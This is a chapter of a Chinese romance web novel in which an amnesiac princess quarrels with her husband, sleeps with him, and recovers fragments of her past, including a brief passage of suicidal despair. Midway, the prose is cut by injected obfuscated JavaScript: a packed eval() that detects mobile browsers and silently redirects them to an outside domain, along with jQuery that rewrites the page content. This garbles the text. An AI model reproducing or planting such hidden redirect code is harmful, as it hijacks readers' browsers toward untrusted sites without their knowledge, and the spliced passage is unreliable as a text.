33. 不是表面夫妻

“我们到底是不是真夫妻?”段争澜头顶冒火,口不择言,“你养我,跟养赛虎有什么区别?”


她气得将护腕一把扯下来,想了想,最终还是没有把它甩到陈元旷那张脸上。


段争澜退而求其次,气哼哼地将其扔下。


皮质护腕与地面相击,发出一声清脆的“啪”。


扔一个她还觉得不解气,另一边也如法炮制。


“我夜里可没有抱着赛虎。”陈元旷举起双手投降,嘴角还是压不下去。


“你还笑!”段争澜一叉腰,“如果我们不是表面夫妻,为什么不同房?”


“要是喜欢人家,你就去跟她说清楚呀!这样耗着不会累吗?真能装!”


哎呀,不小心把真心话说出口了。


段争澜咬着嘴唇,眼神闪躲——实在没憋住,她平日里对自己的言行还是有基本的克制,但刚刚实在是不知为何邪火攻心……


他不会恼羞成怒,真的要把自己丢出府了吧?


算了,要走就走,她带上小函就行,不要让小丫头一个人在这里受欺负。


段争澜闭上眼睛,等待着陈元旷冷下脸让她滚。


要不就是更糟,他可能会因为被骂而上手打她吗?


段争澜有些害怕,偷偷往他那边瞧了一瞧。


陈元旷往她这边走过来了……


他拉住她的衣袖。


段争澜因为恐惧有些微微发抖,无依无靠的实感在这一刻被无限放大。


不要说靠亲眷朋友了,她连自己的过去都指望不上。


如果打得狠了,她该反抗吗?


还是直接求死要好一点呢?反正这里谁都看她不顺眼……


不活也好,真没意思。


假如小函或是温卓然等人能听到她的心声,绝对要跳起来反驳——谁会不喜欢澜君呢?还看不顺眼,该把这种人的眼珠子治一治了!


丁盐对她的这种错觉,要负很大的责任。


预料之中的巴掌和推搡,并没有如期而至。


陈元旷拉住她的衣袖,将还在颤抖的身体牢牢圈在怀中。


她抬起头,眼中已经蓄了泪水。


要闷死她吗……?这种方法,是不是有点罕见了?


“我只有阿澜这一个妻子,从前是,以后也是。”他感受到段争澜有些不正常的呼吸频率,以及止不住的颤。


陈元旷短暂地皱了皱眉,把她的脑袋靠在自己胸膛上,一下又一下地抚摸她的背,顺着她的呼吸。


段争澜左耳听到沉稳有力的心跳声。


“方才宴会上的红衣女子,是王上的宫妃,我履约给她东西,绝无半点私情。”


“那你为什么……”完了,段争澜一开口就觉得自己带了些哭腔,马上闭嘴,不想出丑。


“想看看阿澜忘了事之后,还会不会为夫君吃醋。”他俯下身亲了亲段争澜面颊上的泪珠,“我错了,是我太过分。”


段争澜哑口无言,瞪大眼睛不让眼泪再涌出来。


太丢人了!!!


“阿澜要打我骂我吗?”陈元旷将头放在她颈窝边蹭了蹭,“我好开心。”


真是疯了,怎么有这种要被揍还开心的疯子?


段争澜气不过,扯起对方的手,重重地在虎口上咬了一下。


这下陈元旷是真的笑出声了,搞得她在给人家挠痒痒似的。


“干什么又笑。”


“阿澜还在乎夫君,我当然高兴。”陈元旷拍拍还在乱扭的人儿,捧起她的脸,与她视线平齐。


“至于同房……前几日你身子旧伤未愈,会扯到伤口,不可以。”


“但是今天医者说你硬朗得很,下水捞虾都行。都是阿澜乖乖喝药的功劳,对不对?”


段争澜不知道是该先尴尬她前天“下水捞虾”的事迹,还是先为自己主动挑起来的“同房”一事脸红。


再给她一次机会,肯定不会说出那种话了啊啊啊!


段争澜双眼中因为含泪而发红的血丝消退下去,眼睁睁看着自己被打横抱起,带到床边。


陈元旷往她脖颈后塞了软枕,而后贴上来。


“阿澜想试试吗?”


“我我……你你你——”段争澜蹬了两下腿,把被子都弄到半边垂落床沿的地步,“我们以前有……过吗?”


“那是自然,又不是‘表面夫妻’。”陈元旷故意加重了最后四个字的读音,一双手也不安分,追上来捏了捏她的耳垂。


王室中人、世家贵族,尤其是女子,一般会穿孔佩戴坠饰。


但段争澜的耳垂只是圆润可爱的一小揪,没有任何其他的装饰。


少年时代的小公主是这样解释的,“我才不是怕痛呢!王兄都不打耳洞,我平日又不穿宫装,干嘛没苦硬吃?”


说完昂着头,像一只战胜的小鹅,坚定地执行自己的决策。


正常情况下段争澜的耳垂是莹白的,几乎看不出血色。


现在捏在两指之间,红红的,发烫。


“你,有跟别人吗?”段争澜觉得自己无可救药,整个人都在飘飘然地燃烧。


她喜欢他碰她的感觉。


这种身体上的反应很难由于记忆而有什么改变。所以……换在从前,应该也喜欢吧?


他应该没有骗自己吧?


“没有。我只有阿澜。”


陈元旷将手换成唇,含住她那一边可爱的耳垂,轻轻咬了咬。


段争澜不知道该如何形容自己此刻的感受,从指尖到脊背,都酥酥麻麻的。


很想蜷起来缩成一团,直到自己渺小至无人可见。


但同时又期望着他把自己展开,每一寸。


“会不会……会不会痛啊?”段争澜攀着他的肩,等着人替自己收拾衣裳,连说话都含糊。


“阿澜你以前没喊过疼。”陈元旷将一边手给她攥着,示意她可以掐自己,“所以我想是不会的……难受就跟我说,嗯?”


“……哦。”


等段争澜盯着烟红帐顶,脑中一片空白的时候,才明白为什么她以前不喊疼。


因为根本就说不出完整的话啊!


她泄愤似的咬他肩头,换来对方拇指在颈边的细致摩挲。


她的血管,在下方汩汩地跳动着。


好奇怪,但是那点疼痛,很快就被别的什么完全压制过去了。


仿佛走马观花一般,一些碎片强硬地挤进她的记忆。


有人在笑,招呼身后的同伴快些走。


“喂,你不会不能饮酒吧,陈元旷?”


眼前的景象很模糊,但段争澜不知为何,偏生笃定那说话的人,就是她自己。


记忆中的少年比现在要瘦削一些,抿着唇跟在她身后,也不说话,看着就冷冰冰的。


“澜君。”他说,不赞同的语气。


“那将军公子有什么好?言而无信,不配为人。”


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454602|167943||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


他语调中的酸味都要溢出来了,“这种人值得你去买醉?”


“说什么呆话呢。”段争澜拍了拍他发顶,不顾对方天天反抗的“再摸头长不高”警告,只觉得从雪地里捡到的小孩好玩。


哦,陈元旷也老喜欢强调自己比她年纪大。


真不知道这人一天天的脑子里想的什么。


“本公主就是带你去试试新上的醉仙酿,又想到哪里去了?”


“都几个月前的事了,我都忘了人家长什么样,你要记一辈子?”


最后人好像被她拖回屋里了,红着脸抱住她不撒手。


那种晕乎乎的感觉,和现在一样……


段争澜仿佛一艘迷航的小船,在风暴中摇摆,拼命地想抓住一个锚点。


为什么她要自称“公主”?


一片一片零碎雪花,纷纷落进她眼中。


“阿澜,阿澜……”陈元旷附在耳边唤她,“我是你的。”


段争澜被他拽回了现实,迷迷蒙蒙飘摇的意识轰然落地,踩到了实处。


她又开始掉眼泪,紧紧地搂着陈元旷劲瘦的腰身。


“是疼的吗?”他有些慌乱地抹去她脸颊上的眼泪,“对不起对不起阿澜——”


结果怀里小人儿泪眼婆娑,哽咽着问:“我是不是亡国了?”


没头没脑,但确实吓人一跳。


段争澜的猜测,从她自己的视角来看,其实很符合逻辑。


她觉得,自己的记忆中公主身份应该是真的。再结合陈元旷所说的“家人都过世了”,可不就是亡国了?


比家破人亡还要惨,那可是国破人亡!


段争澜这时本身就脆弱敏感,越想越不是滋味,哭得上气不接下气。


她推开陈元旷的手,裹着被子滚到一旁,想自己一个人冷静冷静。


就这么缩在角落等了一会儿,发现陈元旷乖乖听她的话,还是留在床沿边上,她又有些恼。


为什么不过来抱她?


段争澜哼了一声,犹如某种召唤,他还高热着的身躯马上靠了过来。


“阿澜想起来了?都有什么?”陈元旷哑着声音问她。


“我记得自己是公主,是吗?”段争澜戳了戳他的脸,眼泪算是止住了。


“……嗯。”陈元旷却好像想了很多,过了半晌才回答。


“我们很早就认识了?”


“是。”


段争澜叹气,摊手,“就记得这些。”


陈元旷满是爱怜地,将她鬓边一小撮湿发理了理,带到耳后。


“阿澜不用着急,以后会想起来更多的。”


到时候,她还会愿意,跟他心平气和地诉说自己的记忆吗?


那可不一定。


陈元旷的眼神暗了暗,将她揽得更紧。


“不要贴着嘛,要沐浴。”段争澜嘴上是这么说,但还是懒懒地在他怀里拱了拱。


好累,她快睡着了。


“阿澜有什么想做的事吗?”陈元旷不知想了什么,幽幽问道。


“为什么突然这么问?”


段争澜皱眉,这像那种……生离死别之前会聊的话题。


奇怪。


“阿澜全部想起来之前,和以前不一样,很有趣。”


段争澜顿了顿,也不想再计较。


“那我要你带我去练功夫!”


她提高音量,“最好安排一些比武环节,来点彩头。”